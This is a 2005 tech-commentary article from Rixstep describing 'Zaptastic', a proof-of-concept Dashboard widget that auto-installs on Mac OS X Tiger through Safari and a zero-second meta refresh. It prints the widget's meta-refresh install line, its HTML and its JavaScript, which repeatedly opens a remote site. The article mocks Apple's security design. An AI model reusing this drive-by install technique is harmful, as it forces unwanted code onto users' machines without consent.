About | ACP | Buy | Forum | Industry Watch | Learning Curve | Search | Twitter | Xnews
Home » Industry Watch

Zaptastic

/*
 * zaptastic: an evil countdown
 * creative commons Attribution-NonCommercial 2.0 license
 *
 * This is an example of a widget that is evil, albeit not downright destructive.
 * It immediate [sic] goes to a web site when it loads.
 * It would be very easy to make it go to that web site over and over.
 * As in, every few milliseconds. Even when the dashboard is hidden.
 * This would suck. I don't even want to try that out. Just not even curious.
 *
 * stephan@stephan.com
 * http://stephan.com/widgets/
 */

<meta http-equiv="refresh" content="0;url=http://stephan.com/widgets/zaptastic/zaptastic.wdgt.zip">


You've come a long way baby!
 - John Siracusa


Ten days: that's all it took to blow a mile-wide hole in Apple's supposedly secure and sophisticated OS X 10.4 Tiger.

If you are using Safari on Tiger, thanks to the magic of widget autoinstall, combined with the <meta> tag, a slightly evil widget has been installed in your dashboard.

Note that it's not a worm - there's been no outbreak - but the spectre of what can happen is tangible, as is the realisation that the Beige Box Weenies™ in Cupertino have effectively taken an ultra-secure Unix distribution and made it into a kiddie toy nearly loved by John Siracusa.

The exploit is called 'Zaptastic'. It is provided by Stephan Meyers. It uses Apple's new Dashboard feature, a copy of a Windowmaker feature and a rip-off of Konfabulator, and relies on the security consciousness and high user-friendliness standards of the Beige Box Weenies™.

Safari can of course automatically launch anything the user downloads. Dashboard widgets can run right off the download.

[Widgets also resist attempts to be configured and they're hard to stop (knowing a bit about something called 'Unix' - whatever that is - can help) and it takes a bit of wizardry (and preferably lots more 'Unix') to turn the sorry mess off so it never starts again. Ed.]

All Stephan had to do was upload a widget, put a page online with a meta auto-refresh for zero seconds, and let the Dashboard code do the rest.


The HTML is eminently simple.


<html>
<head>
<script src="zaptastic.js"></script>
</head>
<body onLoad="init()">

<div id="front">
    <div id="zap"><img onclick="gotoZap()" id="zap" src="Default.png" /></div>
    <div id="countdown">N</div>
</div>

</body></html>

The JavaScript is not essential to grasping what's going on: by this point the exploit is a fait accompli.


// every 5 minutes (but only when Dashboard is visible)
var updateFrequency = 5 * 60000;
var zapURL = 'http://www.greenzap.com/stephancom';
var refreshInterval;

Next the function called in the body tag in the HTML.


function init() {
    gotoZap();

    if (window.widget) {
        widget.onshow = function OnShow() { // when Dashboard triggered
            setRefreshTimer();
        }
        widget.onremove = function OnRemove() { // when widget discarded
            clearRefreshTimer();
        }
        widget.onhide = function OnHide() { // when Dashboard dismissed
            clearRefreshTimer();
        }
    }

    setRefreshTimer();

    updateZap();
}

init immediately calls gotoZap.


// Go to the site - different if
// you're testing in a browser vs in Dashboard.
function gotoZap() {
    if (window.widget) {
        widget.openURL(zapURL);
    } else {
        window.location.href = zapURL;
    }
}

And updateZap goes berserk when the box hits 1 June. [Michelangelo? Hey dude you out there? Ed.]


function updateZap() {
    var now = new Date();
    var nowMillis = Date.parse((1+now.getMonth())+"/"+
            now.getDate()+"/"+(1900+now.getYear()));
    var zapMillis = Date.parse("6/1/2005");

    var daysLeft = (zapMillis - nowMillis) / (24*60*60*1000);

    if(daysLeft<1) {
        document.getElementById("countdown").innerHTML = "Go Zap!";
        gotoZap();
        clearRefreshTimer();
        // which is really quiet [sic] polite of me.
    } else if(daysLeft==1)
        document.getElementById("countdown" ).innerHTML = String( daysLeft )+" day";
    else
        document.getElementById("countdown" ).innerHTML = String( daysLeft )+" days";

    return;
}

The two functions for clearing and setting the refresh timer are straightforward.


The hole (for there is a hole) is not in the ability of Safari or any other browser to automatically run downloads. This should never be turned on, and it's only Beige Box Weenies™ who would ever dream of using it anyway.

No, the hole - and it's a big obscene hole - is the way Apple have 'enhanced' the Dashboard mechanism to allow most anything to happen on the local machine - not only the 'autorun' of widgets but the ability to get at anything locally through the use of plugins.

And as for being aware 'bad things' might happen and warning users in time, it's going to take a lot of mind-reading on the part of the Dashboard engine and very little social engineering on the part of the black hats.

Dashboard provides you with a method for using command-line utilities and scripts within your widget. With this capability you can use any standard utilities included with the system or any utilities or scripts you include within your widget.

Having watched from the sidelines while Microsoft got clobbered the past five years for 'user friendly' enhancements like ActiveX and 'Web Scripting' where malfeasant code ran willy-nilly over unprotected machines, Apple have shown beyond the shadow of a doubt that they possess the necessary acumen, security savvy, and general intelligence to take up the gauntlet when Microsoft were forced to drop it.

Maybe some of the Cupertino programmers and system designers are eyeing a prospective employment in the Far Northwest of the United States; odds are even Sir Bill would think they're yesterday's news today.

About | Buy | Forum | Industry Watch | Learning Curve | Products | Search | Twitter | Xnews
Copyright © Rixstep. All rights reserved.